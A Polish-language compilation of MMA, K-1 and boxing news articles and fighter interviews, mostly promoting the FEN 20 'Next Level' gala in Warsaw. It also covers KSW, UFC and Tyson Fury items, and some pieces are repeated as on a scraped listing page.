A więc trzeba wyciągnąć wnioski z walki z Soldiciem i walczyć o powrót na szczyt. – Niestety oprócz podziękowań, należą się również przeprosiny, ponieważ poprzez różne osobiste problemy i popełnione błędy, zawalczyłem nie tak jak bym sobie tego życzył… To była tylko i wyłącznie moja wina, nikogo innego. Najważniejsze jest jednak to, by wyciągnąć z tego lekcje i więcej nie zawieść WAS, jak i wszystkich osób których wymieniłem wyżej. Pakuję więc torbę, spotykam się ze swoim sztabem, ustawiamy nowy plan, nowe cele i priorytety i szykuje się do tego, by dać jeszcze parę najlepszych walk wieczoru – tłumaczy Borys Mańkowski.
Fot. Borys Mańkowski Facebook
KM
Marcin Szreder (5-2) powraca do klatki FEN! Mieszkający na co dzień w Warszawie zawodnik wystapi podczas gali Fight Exclusive Night 20 "Next Level", która 10 marca odbędzie się na Torwarze. Znamy zatem pierwszego bohatera trzeciej walki w formule K-1 podczas jubileuszowej edycji.
Dla Marcina Szredera będzie to piąty występ dla Fight Exclusive Night i siódmy zawodowy pojedynek K-1 w karierze. Zdobywca Pucharu Europy WAKO w K-1 i low kick debiutował w klatkoringu FEN pewnym zwycięstwem na punkty z Niemcem tureckiego pochodzenia Aytakiem Yahsim podczas gali FEN 11 "Warsaw Time". W marcu ubiegłego roku podczas FEN 16 "Warsaw Reloaded" już w pierwszej rundzie pokonał Ihara Kamkou, dwukrotnie powalając go na deski, zanim narożnik Białorusina zdecydował się rzucić na ring ręcznik. Do historii FEN przeszły szczególnie emocjonujące starcia Szredera z Arturem Bizewskim, którego również zobaczymy w akcji 10 marca.
W ciągu najbliższych tygodni poznamy rywala, z którym na FEN 20 zmierzy się Marcin Szreder.
Karta walk FEN 20:
*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.
Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.
Marcin Szreder (5-2) powraca do klatki FEN! Mieszkający na co dzień w Warszawie zawodnik wystapi podczas gali Fight Exclusive Night 20 "Next Level", która 10 marca odbędzie się na Torwarze. Znamy zatem pierwszego bohatera trzeciej walki w formule K-1 podczas jubileuszowej edycji.
Dla Marcina Szredera będzie to piąty występ dla Fight Exclusive Night i siódmy zawodowy pojedynek K-1 w karierze. Zdobywca Pucharu Europy WAKO w K-1 i low kick debiutował w klatkoringu FEN pewnym zwycięstwem na punkty z Niemcem tureckiego pochodzenia Aytakiem Yahsim podczas gali FEN 11 "Warsaw Time". W marcu ubiegłego roku podczas FEN 16 "Warsaw Reloaded" już w pierwszej rundzie pokonał Ihara Kamkou, dwukrotnie powalając go na deski, zanim narożnik Białorusina zdecydował się rzucić na ring ręcznik. Do historii FEN przeszły szczególnie emocjonujące starcia Szredera z Arturem Bizewskim, którego również zobaczymy w akcji 10 marca.
W ciągu najbliższych tygodni poznamy rywala, z którym na FEN 20 zmierzy się Marcin Szreder.
Karta walk FEN 20:
*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.
Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.
W 2017 roku Patryk Kuryłek (57kg) wszedł na wysokie obroty. Zawodnik MKS Wicher Kobyłka pokazał, że nie chce być tłem dla bardziej doświadczonych rywali i od razu wskoczył na pierwszy plan. Do podopiecznego Grzegorza Engela wręcz idealnie pasuje powiedzenie – „apetyt rośnie w miarę jedzenia”. Kuryłek ciężko trenuje, aby utrzymać się na szczycie.
Poświęcenie, ciężka praca i dążenie do realizacji celu – to recepta na sukces. 21-letni Patryk Kuryłek jest konsekwentny i przy wsparciu trenera Grzegorza Engela doskonali swoje umiejętności, co boleśnie odczuwają rywale.
Pójść za ciosem
Legnica, Kartuzy, Sejny, Kobyłka, Innsbruck, Budapeszt – gdzie się nie pojawił, tam zostawiał po sobie wyraźny ślad. Patryk Kuryłek rozpędzony niczym struś pędziwiatr zwyciężał i zapisywał na swoim koncie kolejne osiągnięcia. Mistrzostwo Polski w K-1 i kick light, brązowy medal mistrzostw świata, trzecie miejsce w zawodach Pucharu Świata, triumf w Pucharze Państw Nadbałtyckich Baltic Cup, a do tego zawodowe mistrzostwo Polski K-1. – Rok 2017 był dla mnie pracowity, ale również udany pod względem sportowym. Sukcesy, które w tym sezonie odniosłem, dają mi dużą satysfakcję. Przede wszystkim są dla mnie wyznacznikiem, że ogrom pracy, którą wykonuję każdego dnia pod okiem trenera Engela przynosi rezultaty. Mimo zwycięstw dalej ciężko trenuję, bo jestem na początku kariery sportowej i jeszcze wiele trofeów do zdobycia. Chcę cały czas się rozwijać i co roku być coraz lepszym zawodnikiem – przedstawia FighTime.pl Patryk Kuryłek.
Mimo młodego wieku, mistrz Polski K-1 zachowuje chłodną głowę. – Skupiam się na tym, aby nie osiadać na laurach i po każdych zawodach mam jeszcze większą motywację do ciężkiej pracy. Wiem, że konkurencja nie śpi – podkreśla zawodnik MKS Wicher Kobyłka.
Kuryłek nie ma zamiaru zwalniać tempa. – Plany na 2018 rok to dużo startów i jeszcze więcej pracy. Ja i mój trener, Grzegorz Engel, chcemy wejść na jeszcze wyższy poziom. W tej chwili trenuję dwa razy dziennie. Oczywiście również w weekendy. Wiem, że tyle pracy, ile włożę teraz zaowocuje w moje przyszłe sukcesy – tłumaczy podopieczny Grzegorza Engela.
Jakie plany?
Mistrz Polski w formułach K-1 i kick light przygotowuje się do kolejnych startów. – Co do harmonogramu zawodów, to planujemy łączyć starty amatorskie z zawodowymi. Z tych pewnych imprez, na których wystartuje to: mistrzostwa Polski K-1 i mistrzostwa Polski kick light. 3 lutego zawalczę na zawodowej gali. Będzie to pierwsza walka w 2018 roku, tak więc trzeba ten sezon dobrze rozpocząć. Co do dalszych startów to "wszystko wyjdzie w praniu". Trenuję cały rok, tak więc na pewno będę gotowy na każde wyzwanie – wyjaśnia Patryk Kuryłek.
Fot. Patryk Kuryłek Facebook
KM
Radosław Paczuski będzie bohaterem walki wieczoru podczas gali Fight Exclusive Night 20 „Next Level”. Jego rywalem 10 marca w warszawskiej hali Torwar będzie Stanisław Zaniewski. Na jakim etapie przygotowań jest Paczuski przed tym pojedynkiem? Co sądzi o swoim rywalu? Ilu kibiców przyjdzie go wspierać do hali? Zapraszamy do przeczytania rozmowy z Radosławem Paczuskim!
Dawno temu dowiedziałeś się o tej walce?
Radosław Paczuski: Około miesiąc temu, na pewno trzy miesiące przed pojedynkiem. Cieszę się z tego powodu, bo mój rywal też widział szybciej, więc obaj będziemy mieli okazję na trzymiesięczne przygotowania, a to z kolei jest gwarancją fajerwerków w klatce.
Walka wieczoru podczas jubileuszowej edycji to chyba miła niespodzianka, prawda?
RP: I w dodatku jest to walka o pas, co cieszy mnie jeszcze bardziej. To mój trzeci występ na FEN – właściciele federacji docenili mnie i chcieli dać mi szansę. Stanisław Zaniewski to bardzo dobry zawodnik, jednak ani razu nie mieliśmy okazji stanąć w klatce naprzeciwko siebie. W różnych rankingach to raz ja byłem lepszy, raz on był nade mną, więc walka na FEN 20 będzie okazją do tego, by raz na zawsze rozstrzygnąć, który z nas jest lepszym zawodnikiem.
Jakie emocje towarzyszą ci, gdy mówisz o swoim rywalu?
RP: Normalne, tak jak zawsze. Dla mnie to pojedynek jak każdy inny. Mierzyłem się z zawodnikami ze światowej czołówki, teraz również przyjdzie mi zawalczyć z kimś bardzo dobrym, ale ja skupiam się na sobie. Wierzę w to, że pokażemy kibicom naprawdę dobre widowisko.
Mieliście się kiedyś okazję skonfrontować podczas sparingów?
RP: Nie, nie walczyliśmy nigdy przeciwko sobie, nawet na treningach, choć poznaliśmy się kiedyś i nawet występowaliśmy podczas tej samej gali. Ja walczyłem wtedy z podopiecznym Staszka i wygrałem w pierwszej rundzie przez nokaut, on krzyżował rękawicę chwilę po mnie z innym rywalem.
Przed tobą dwa miesiące ciężkiej pracy, a potem przyjdzie nagroda – tak wielu zawodników mówi na walkę. To ma być nagroda za trud włożony w czasie przygotowań.
RP: Dokładnie – walka to jest nagroda. Każdy lubi już samą walkę.
Nie chciałeś walczyć podczas poprzednich gal? Ostatnio w klatce FEN widzieliśmy cię w maju.
RP: Był temat mojej wcześniejszej walki… z Pawłem Biszczakiem. Nie dogadaliśmy się jednak, bo limit umowny tego starcia to miało być 80 kilogramów. Ja musiałbym zejść 5kg, Paweł 3 przybrać, ale nie chciał się zgodzić. Powiedział, że on walczy tylko w kategorii 77 kilogramów i nie ma od tego odstępstw. Ja z kolei nie byłem w stanie aż tyle zbić, to byłoby dla mnie wręcz niemożliwe. Ostatecznie do tego starcia nie doszło.
A szkoda. Zwłaszcza po tym, co Biszczak zrobił we Wrocławiu z Igorem Danisem.
RP: No właśnie.
W jakiej ty obecnie jesteś formie? Zacząłeś już przygotowania?
RP: Tak, trenuję od miesiąca, choć prawdę mówiąc jestem typem zawodnika, który nie wychodzi z formy i cały czas trenuję. Pod FEN 20 szykuję się od miesiąca, żeby mieć trzymiesięczny okres treningów za sobą wychodząc do klatki.
Czyli miesiąc temu wskoczyłeś po prostu na inne obroty.
RP: Dokładnie. Rozpocząłem treningi z trenerem Andriejem Mołacznowem. Do tego kontynuuję współpracę z moim bratem Kamilem i Rafałem Pawłowskim. Można powiedzieć, że obecnie mam trzech trenerów. Andriej Mołczanow jest bardzo doświadczony, sam był mistrzem świata wielu prestiżowych federacji. Swoje w ringu już spędził. Daje mi cenne wskazówki, które z dnia na dzień czynią mnie coraz lepszym zawodnikiem. Myślę, że to w marcu będzie już widoczne. Zawsze siła była moją mocną stroną, a do tego dojdzie teraz inteligencja w klatce i jeszcze lepsza technika, nad którą pracuję każdego dnia.
Po raz drugi wystąpisz w oktagonie?
RP: Nie, walczyłem już kilka razy w klatce. Oktagon debiutował w Gdyni, kiedy ja walczyłem na FEN 17, ale wcześniej miałem już okazję w niej występować.
Czyli to może być twój atut?
RP: Nie, na pewno nie, bo Staszek też walczył już w klatce – nawet podczas tej gali, na której razem występowaliśmy. Mamy obaj podobne doświadczenie w tym elemencie, więc szanse na pewno będą takie same.
Analizowałeś już styl Stanisława Zaniewskiego? Kilka osób mówi, że lubi pójść na wymianę, ale ma luki w obronie.
RP: Nie, jeszcze go nie analizowałem. Na razie skupiam się na swoim przygotowaniu. Zostawiam to swoim trenerom.
Będziesz oglądał jego walki przed pojedynkiem?
RP: Nie, nie potrzebuję tego. Zaufam swoim trenerom – oni znają się znakomicie na swojej robocie. Trzeba działać profesjonalnie, więc chcę wyjść z zimną głową do klatki i realizować swoje założenia, które oni mi nakreślili.
Ostatnio pojawił się komentarz pod jednym z wpisów na fan page’u FEN, że pojedynki mistrzowskie w formule K-1 generują większe emocje i zainteresowanie kibiców. Ty się z tym zgodzisz?
RP: Opinie są podzielone, ale moim zdaniem walka w formule K-1 dla zwykłego kibica jest bardziej klarowna i przejrzysta. Gdy pojedynek toczy się w stójce, to widać, kto otrzymuje ciosy i kto przeważa. W parterze nie wszystko jest aż tak czytelne na pierwszy rzut oka i trzeba mieć sporą wiedzę, żeby ocenić właściwie, kto w danej rundzie był lepszy przy starciu na styku.
Dużo twoich kibiców pojawi się 10 marca w Warszawie?
RP: Dużo, na pewno. Podczas mojej ostatniej walki w Torwarze było 500 osób, ale teraz powinno nas być więcej. Myślę, że możemy pobić rekord. Stawką walki jest mistrzowski pas, walczę z dobrym rywalem, do tego jubileusz, pojedynek wieczoru – naprawdę spodziewam się wielu fanów w Torwarze.
*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.
Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.
Arkadiusz Wrzosek (8-4) zmierzy się w pierwszej obronie pasa mistrzowskiego FEN w formule K-1 z Arturem Bizewskim (7-1). Ich starcie, które zaplanowane jest na 10 marca podczas gali „Next Level”, będzie jedną z atrakcji tego wydarzenia. Świeżo upieczony czempion jest przekonany, że premierowa obrona trofeum będzie dla niego udana i pas zostanie w jego posiadaniu.
Artur Bizewski jest przekonany, że wróci z Warszawy z pasem…
AW: Bardzo dobrze! Jest pewny siebie, tym lepiej dla mnie. Musi być pewny siebie, jeżeli w ogóle chce myśleć o tym, żeby mnie pokonać.
To będzie wasz trzeci pojedynek. Mamy zatem trylogię…
AW: Raz wygrał Artur, w Gdańsku, przed rokiem w Warszawie, już na gali FEN, to ja okazałem się lepszy. Teraz już raz na zawsze rozstrzygniemy, który z nas jest lepszy. Czy on, czy ja.
Jak wspominasz pierwszy pojedynek między wami?
AW: To była moja pierwsza walka w karierze, byłem świeży i niedoświadczony. Galę organizował kolega Artura, na trybunach byli jego kibice, do tego mierzyliśmy się w Trójmieście. Walka była w sobotę, a dowiedziałem się o niej we wtorek. Nie byłem moim zdaniem wtedy gorszy, raz nawet Artur był liczony, bodajże w drugiej rundzie. Dali zwycięstwo jemu, bo walczył u siebie, miał przychylność wielu osób. Ja nie podważałem nigdy tej decyzji – po prostu, tak musiało być.
A jak wspominasz waszą drugą walkę?
AW: Byłem trochę spięty, ale przeważałem, wygrałem u każdego z sędziów, ale z tego co pamiętam, niektórzy mieli wątpliwości, a ja pewnie wygrałem każdą z rund. Artur pokazał się z dobrej strony w połowie jednego starcia, a to było za mało, by mnie pokonać.
No i walczyłeś u siebie.
AW: I teraz też zawalczę. Mistrz będzie bronił pasa na swojej ziemi – tak powinno być. Po raz piąty wystąpię na FEN w Warszawie, po raz trzeci będę miał przyjemność stoczyć pojedynek w Torwarze. Lubię tu rywalizować.
Żeby trema cię nie zjadła.
AW: Nie, już mi to nie grozi. Kiedyś może i trochę się denerwowałem, ale te czasy już za mną. Kibice będą mi pomagali, na pewno sporo ich przybędzie do gali, więc Artur: Bój się!
Powiedziałeś ostatnio, że narożnik Artura musi mieć przygotowany ręcznik, bo będzie potrzebny.
AW: Bo tak będzie. Jemu i jego trenerom będzie potrzebny ręcznik. Lepiej niech mają go w gotowości.
Porażka w Dubaju nie wpłynie źle na ciebie?
AW: Myślę, że nie. Przegrałem, mimo że na punkty prowadziłem. Miałem znakomitego rywala, który należy do światowej czołówki. Taki rzeczy się zdarzają. Chwila gapiostwa, jeden cios i obraz pojedynku się zmienia. Byłem zły na siebie, bo mogłem i powinienem to wygrać.
Nauczyła cię czegoś tamta porażka?
AW: Tak, naprawdę dużo. Paradoksalnie może nawet lepiej, że ona przyszła. Może poczułem się zbyt pewny siebie? Może uciekłem myślami tam, gdzie nie trzeba?
Poczułeś, że jesteś nieśmiertelny?
AW: Nie, to nie tak. Chodzi mi o to, że wiem nad czym pracować i na co uważać. Wiem, że muszę być do końca skoncentrowany, bo inaczej mój rywal będzie polował na jeden cios.
Bizewski będzie polował na jeden cios?
AW: Pewnie tak, ale on nie ma 207 centymetrów wzrostu i nie jest tak silny jak mój rywal z Dubaju. To nie jest ta półka, w pojedynku z Arturem to ja będę miał przewagę siły i fizyki. Nie obawiam się tego, że skończy mnie przed czasem, w ogóle się nie obawiam. Wychodzę po swoje i zwyciężam.
Jak każdy.
AW: Jestem mistrzem federacji, co mam powiedzieć? Rok temu daliśmy super walkę, ale ani przez sekundę nie poczułem się zagrożony. Teraz jestem jeszcze lepszy, w dodatku mam trofeum. Mocno się rozwinąłem przez ten czas.
Artur też dwie walki wygrał.
AW: Nie patrzę na niego, skupiam się na sobie. Ja jestem na pewno lepszym zawodnikiem.
Nie miałeś nawet kiedy opić zdobycia pasa mistrzowskiego FEN.
AW: Nie miałem, a już przed walką z Falinem wiedziałem, że czeka mnie chwilę później kolejne starcie. Byłem przygotowany na ten maraton. Po ewentualnym zwycięstwie w Dubaju miałem jeszcze raz wyjść do ringu.
Czyli byłeś na to gotowy.
AW: Tak, ale nie chciałem walczyć kilkanaście dni po porażce przed czasem, musiałem się zregenerować. Na pewno jednak moja walka w Dubaju, a właściwie to jej zakończenie, nie będą miały na mnie wpływu w starciu z Bizonem. Pewnie wygram ten pojedynek.
Karta walk FEN 20:
*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.
Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.
Stanisław Zaniewski (48-16) będzie rywalem Radosława Paczuskiego (18-2-0) podczas walki wieczoru na gali Fight Exclusive Night 20 "Next Level". Pojedynek w formule K-1 odbędzie się na dystansie pięciu rund w kategorii wagowej do 85 kilogramów.
Ostatnim razem w klatce FEN Paczuskiego można było oglądać podczas 17. edycji, która w maju odbyła się w Gdyni. Wtedy to 24-latek pokonał przez techniczny nokaut w pierwszej rundzie Menno Van Roosmalena (20-6-2). Później wystąpił jeszcze raz, ale już poza FEN i tam pokonał przed jednogłośną decyzję sędziów pochodzącego z Niemiec Floriana Krogera.
Stanisław Zaniewski pochodzi z Białorusi, ale od wielu lat żyje i trenuje w Polsce. Bardzo udany był dla niego szczególnie 2016 rok, kiedy to stoczył pięć pojedynków i aż cztery z nich wygrał. W 2017 roku zawodnik z Kalisza w dalszym ciągu utrzymywał dużą intensywność startów, a pod koniec października w Rydze pokazał się z dobrej strony podczas KOK 50, gdzie stoczył wyrównany bój z Nikolai'em Bieloziercievem. Zaniewski uchodzi za zawodnika, który lubi ryzykować i nie boi się wymian. Walki z jego udziałem są zawsze pełne emocji i nagłych zwrotów akcji.
– Podczas poprzednich gal przyzwyczailiśmy naszych fanów do tego, że walki wieczoru z formule K-1 mogą się podobać kibicom i nie inaczej będzie i tym razem. Paczuski kontra Zaniewski to coś, co miałem w głowie od samego początku, gdy tylko ogłosiliśmy, że zorganizujemy FEN 20 w Warszawie. Odliczam już dni do tego starcia – powiedział prezes FEN, Paweł Jóźwiak.
Karta walk FEN 20:
*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.
Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.
Znamy nazwisko kolejnego bohatera gali FEN 20 "Next Level". 10 marca w warszawskiej hali Torwar do klatki wyjdzie Andrzej Grzebyk (11-3, 4 KO, 3 SUB). Będzie to dla niego powrót do oktagonu FEN po siedmiu miesiącach przerwy.
Dla Andrzeja Grzebyka będzie to czwarty występ w organizacji FEN – w ostatniej walce na gali FEN 18 "Summer Edition" po znakomitej walce pokonał Marcina Naruszczkę, wczesniej, podczas FEN 14, przez techniczny nokaut po pierwszej rundzie wygrał z Białorusinem Alexeyem Repalovem. Na gali nr 9 "Go For It" natomiast uległ minimalnie na punkty Alessandro Di Chirico. Grzebyk jest znany z bardzo ofensywnego stylu walki – aż 7 z 11 zwycięstw odniósł przez nokaut lub poddanie. Nieprzeciętnie utalentowany reprezentant Legion Team Tarnów może pochwalić się także zwycięstwami w przeszłości nad tak mocnymi fighterami, jak Mindaugas Verzbickas i Kamil Szymuszowski.
– Jedna gala bez Grzebyka to zdecydowanie zbyt dużo. Szykujemy dużą część ze swojego arsenału na Warszawę i Grzebyk będzie jednym z bohaterów gali "Next Level". Zapewniam, że to jeszcze nie koniec i zaskoczymy fanów kolejnymi nazwiskami – powiedział prezes FEN, Paweł Jóźwiak.
Karta walk FEN 20:
*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.
Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.
Dwie niekwestionowane gwiazdy KSW staną naprzeciw siebie 3 marca w Łodzi. Mamed Khalidov kontra Tomasz Narkun. To zestawienie ma być prawdziwą gratką dla kibiców.
Michał Materla, Mateusz Gamrot, Ariane Lipski, Łukasz Jurkowski i Karol Bedrof zaprezentują się w Łodzi. Ale pojedynki z ich udziałem będą jedynie przystawką do rywalizacji Khalidova z Narkunem.
Mistrz z mistrzem
37-letni Khalidov to żywa legenda KSW i zarazem zawodnik, który stał się ulubieńcem tłumów. Wszystko przez jego widowiskowy styl walki. Wszyscy doskonale pamiętają jak mistrz wagi średniej efektownie udusił Matta Londlanda czy też poddał mocnego Melvina Manhoefa. A w pojedynku gwiazd polskiego MMA Khalidov w zaledwie 31 sekund powalił na ziemię Michała Materlę. Zapracował na miano króla KSW. Mówiło się o rozmowach z UFC, jednak ponoć przeszkodą były kwestie finansowe. Dziesięć miesięcy temu 37-latek wystąpił na gali ACB 54, gdzie pokonał Luke'a Barnatta. Aby zapisać na swoim koncie 33 zwycięstwo potrzebował 21 sekund! Później zaprezentował się na KSW 39 na stadionie PGE Narodowy. W superfight Khalidov zmierzył się z ówczesnym mistrzem wagi półśredniej Borysem Mańkowskim. Na przestrzeni trzech rund okazał się lepszy. Ostatnią porażkę Khalidov zanotował blisko osiem lat temu! Trzeba dodać, że w KSW jeszcze nigdy nie przegrał.
Podczas warszawskiej gali zaprezentował się również Tomasz Narkun. Mistrz kategorii półcięzkiej pokonał Marcina Wójcika. Należy podkreślić, że Narkun konsekwentnie budował swoją pozycję w organizacji Martina Lewandowskiego i Macieja Kawulskiego. Zadebiutował w niej w maju 2014 roku. Już w pierwszej rundzie zawodnik urodzony w Stargardzie Szczecińskim pokonał przez dźwignię na kolano Charlesa Andrade. Co ciekawe, popularny "Żyrafa" wcześniej z powodzeniem rywalizował w rosyjskiej organizacji M-1, gdzie dotarł do pojedynku o pas mistrzowski. Przegrał jednak z Wiaczesławem Wasilewskim. W KSW Narkun ma na koncie jedną porażkę. Przegrał decyzją sędziów z Goranem Reljiciem, ale rewanż na Chorwacie wziął w najlepszym możliwym momencie. Polak triumfował na gali KSW 32 na Wembley i sięgnął po pas w wadze półcięzkiej. Co niezwykle interesujące, 28-letni Narkun wszystkie sześć zwycięstw w KSW odniósł w pierwszych rundach.
Najtrudniejsze wyzwanie
Przed galą na stadionie PGE Narodowy mówiło się, że Borys Mańkowski staje przed szansą na przejęcie pałeczki największej gwiazdy KSW. Stary mistrz Khalidov wygrał i nadal panuje. Wtedy 37-latek walczył z zawodnikiem lżejszym, na KSW 42 czeka go cięższe wyzwanie.
Dla Narkuna to próba, aby wybić się na pierwszy plan i stać główną gwiazdą KSW. Czy upora się ze zwinnym Khalidovem? Ten już może i nie jest najszybszy, ale jego umysł pracuje z niesamowitą prędkością, a nogi i ręce są zwinne. Jeden mocny cios może wszystko zmienić. Każde panowanie się kiedyś kończy. Czy w Łodzi nastąpi koronowanie nowego króla KSW? Trzeba poczekać do 3 marca.
Fot. Tomasz Narkun Facebook
KM
Wszystko jest na najlepszej drodze, aby Krzysztof Jotko ponownie zaprezentował się w oktagonie. Polski zawodnik wraca do pełni sił po kontuzji dłoni.
Swego czasu 28-latek był wymieniany wśród kandydatów do walki o pas wagi średniej. Ostatnio nie miał dobrej passy. Dodatkowo doznał kontuzji.
Po raz kolejny
W 2015 roku Krzysztof Jotko szykował się do występu na gali UFC Fight Night 64, która odbyła się w Krakowie. Amerykańska organizacja po raz pierwszy zagościła w Polsce. Jednak zawodnikowi urodzonemu w Elblągu nie dane było zaprezentować się w Krakowie. Jotko miał zmierzyć się z Garrethem McLellanem, ale na przeszkodzie stanęła mu kontuzja. Podczas sparingu w USA Polak złamał lewą rękę. Wcześniej podobnego urazu doznał w starciu z Torem Troengiem.
Jotko wrócił do rywalizacji w UFC w październiku 2015 roku. Podczas gali w Dublinie Polak pokonał Scotta Askhama. Tym samym odniósł drugie zwycięstwo z rzędu i w następnych starciach potwierdzał dobrą dyspozycję. W TD Place Arenie w Ottawie, UFC Fight Night 89, w niecałą minutę na łopatki rozłożył Tamdana McCrory'ego. Jego akcję poszły w górę po pokonaniu mocnego Thalesa Leitesa. Mówiło się nawet, że Jotko jest o krok od walki o pas. Ale dwa kolejne pojedynki zupełnie zmieniły położenie Polaka. Najpierw Jotko przegrał z Davidem Branchem, a później przed czasem z Uriahem Hallem. Starcie z doświadczonym Amerykaninem, 28-latek rozpoczął znakomicie. Najpierw świetne podbródkowe, potem sprowadzenie do parteru i próba zakończenia walki przed czasem. Jednak kolejne minuty wyglądały zupełnie inaczej. W drugiej rundzie Hall przebudził się. Amerykanin próbował kopnięć z obrotu, jednak nie doszły do celu. W końcu Hall trafił Polaka mocnym ciosem z prawej ręki. Jotko przegrał drugą walkę z rzędu i nabawił się kontuzji. 28-latek musiał poddać się operacji prawej ręki.
Czas na powrót
Gdyby nie uraz, prawdopodobnie Krzysztof Jotko zmierzyłby się z legendarnym Lyoto Machidą. Absencja zawodnika objęła również termin gali UFC w Gdańsku. Wygląda na to, że już niebawem Jotko będzie mógł analizować propozycje i szykować się do kolejnych pojedynków. – Mam za sobą wizytę u doktora Gellmana, który powiedział, że jestem w 100 proc. gotowy, żeby nokautować ludzi. Pan Jotko wrócił – napisał na Twitterze Krzysztof Jotko.
Fot. Krzysztof Jotko Twitter
KM
Jan Błachowicz szykuje się do kolejnej walki w UFC. 34-letni Polak zmierzy się z Jimim Manuwą, z którym blisko trzy lata temu przegrał w Krakowie. Walka odbędzie się na gali UFC Fight Night 127 w Londynie.
Błachowicz wygrał dwa ostatnie pojedynki, więc jest w gazie. Czy podtrzyma dobrą passę, a zarazem zrewanżuje się za porażkę poniesioną na UFC Fight Night 64?
Pasywny Błachowicz
Polak przebojem wdarł się do najlepszej organizacji MMA na świecie i w debiucie efektownie pokonał Ilira Latifiego. W pierwszej rundzie Błachowicz oszołomił Szweda. Wszyscy zachwycali się znakomitą postawą byłego mistrza KSW i wiązali duże nadzieje z jego rozwojem w UFC. W kolejnej walce Błachowicz miał zmierzyć się z Jimim Manuwą. Mocnym zawodnikiem, który wtedy miał na koncie tylko jedną porażkę – z Alexandrem Gustafssonem. Atutem Polaka miał być fakt, że gala UFC Fight Night 64 odbywała się w Krakowie.
Nic z tego. Błachowicz nie przypominał zawodnika, który efektownie rozprawił się z Latifim. Polak był pasywyny i walczył przede wszystkim w stójce. Manuwa może wielkich rzeczy nie robił, ale cały czas był aktywny. Anglik spychał Polaka do siatki, uderzał kolanami, jednak krzywdy rywalowi nie zrobił. Sędziowie wskazali na Manuwę – 30:27, 30:27, 29:28.
Po blisko trzech latach polski wojownik będzie miał okazję do rewanżu. Błachowicz zmierzy się z Manuwą 17 marca w Londynie podczas gali UFC Fight Night 127. Polak ma juz zdecydowanie większe doświadczenie w amerykańskiej organizacji, nauczył się wychodzić za tarapatów. Bilans Błachowicza w UFC to cztery zwycięstwa i cztery porażki. Jednak teraz może pochwalić się dwoma wygranymi z rzędu. Najpierw przed czasem rozprawił się z Devinem Clarkiem, a później uporał się z Jaredem Cannonierem. Z kolei kariera Manuwy układała się wręcz idealnie. Po walce z Błachowiczem, rywalizował z twardym i skutecznym Anthony'm Johnsonem, jednak bezskutecznie. Dwie wygrane przed czasem pozwoliły snuć marzenia o starciu o pas mistrzowski. Jednak wtedy niespodziewanie w pierwszej rundzie Manuwa przegrał z Volkanem Oezdemirem.
Rewanż za Kraków zapowiada się niezwykle ciekawie. Akcje Błachowicza stoją wysoko, z kolei Manuwa będzie chciał pokazać, że ostatnia porażka to tylko i wyłącznie wpadka.
Kto jeszcze?
Karta walk w Londynie powoli zapełnia się. W O2 Arenie zaprezentuje się urodzony w Zabrzu Peter Sobotta. Niemiec rywalizujący w wadze półśredniej będzie chciał zatrzymać rozpędzonego Leona Edwardsa, który wygrał ostatnie cztery starcia.
W Londynie zobaczymy również Nasrata Haqparasta, który w październiku przegrał z Marcinem Heldem. Kolejnym rywalem 22-latka będzie Alex Reyes. Podczas londyńskiej gali wystąpią również: Paul Craig w walce z Magomedem Ankalaevem oraz Mark Godbeer, który podejmie Dmitrija Poberezhetsa.
KM
Były mistrz świata wagi ciężkiej WBO, IBO, IBF i WBA Tyson Fury przygotowuje się do powrotu na ring. 29-latek nie kalkuluje i od razu chce rywalizować o najwyższą stawkę. Fury rzucił wyzwanie czempionowi IBF, WBA i IBO Anthony'emu Joshule.
Nikogo nie trzeba przekonywać, że olbrzym z Wilmslow uwielbia robić wszystko, aby wokół niego było głośno. Cel sportowy to jedno, a obecne możliwości to drugie. Przed Fury'm ciężka praca.
Zrzucić kilogramy
Dokonał tego, o czym marzył, ale sukces był początkiem jego dramatu. 28 listopada 2015 roku w Esprit Arenie w Dusseldorfie Tyson Fury zakończył panowanie Władimira Kliczko. Przez całą walkę Brytyjczyk walczył konsekwentnie i nie pozwolił Ukraińcowi na zbyt wiele. Fury wygrał na punkty i znalazł się na szczycie. Nowy mistrz zgodził się na rewanż z wielkim Kliczko. Po drodze stracił pas IBF, ponieważ nie stanął do obowiązkowej obrony trofeum z Wiaczesławem Głazkowem.
Najgorsze miało jednak nadejść. Wszyscy dyskutowali o rewanżu Fury-Kliczko, który miał się odbyć 9 lipca 2016 roku, a potem 29 października. Mistrz narzekał na zdrowie, ale w końcu na światło dzienne wyszły jego problemy z alkoholem i kokainą. Tyson Fury zrezygnował z pasów i skupił się na walce z samym sobą. Podjął również decyzję o zakończeniu kariery, ale nie jeden raz… Fury robił wszystko, aby o nim nie zapomniano. We wrześniu pojawił się na sali treningowej i zapowiedział, że wraca na dobre. Przez kilka miesięcy przybyło mu kilogramów, a więc najpierw pięściarz skupia się na unormowaniu wagi.
Początek roku to czas życzeń i deklaracji. Wiadomo, że Fury marzy o powrocie na ring. Chce zrobić to z przytupem. – Stawiam wyzwanie sportowe Anthony'emu Joshule, żeby walczył ze mną w mojej pierwszej od 2,5 roku walce. Jestem najlepszy na ziemi w wadze ciężkiej. Udowodnisz, że tak nie jest? Piłka jest po twojej stronie – napisał na Twitterze Fury.
Teraz Parker?
Joshua i Fury są w zupełnie innych miejscach. 28-latek z Watfordu zyskuje coraz większą popularność, a jego pięści są niezawodne. Wygrał dwadzieścia walk przed czasem. W październiku pokonał Carlosa Takama, choć pierwotnie miał walczyć z Kubratem Pulewem, jednak ten doznał kontuzji.
Teraz trwa dyskusja na temat kolejnego pojedynku mistrza IBF, IBO i WBA. W marcu w Cardiff Joshua miałby zmierzyć się z czempionem WBO Josephem Parkerem. A więc Fury będzie musiał poczekać.
KM
Znamy pierwszy pojedynek mistrzowski podczas gali FEN 20 "Next Level", która 10 marca odbędzie się w Warszawie. O tytuł czempiona w kategorii lekkiej powalczą Marian Ziółkowski (17-5, 3 KO, 12 SUB) i Mateusz Rębecki (5-1, 4 SUB).
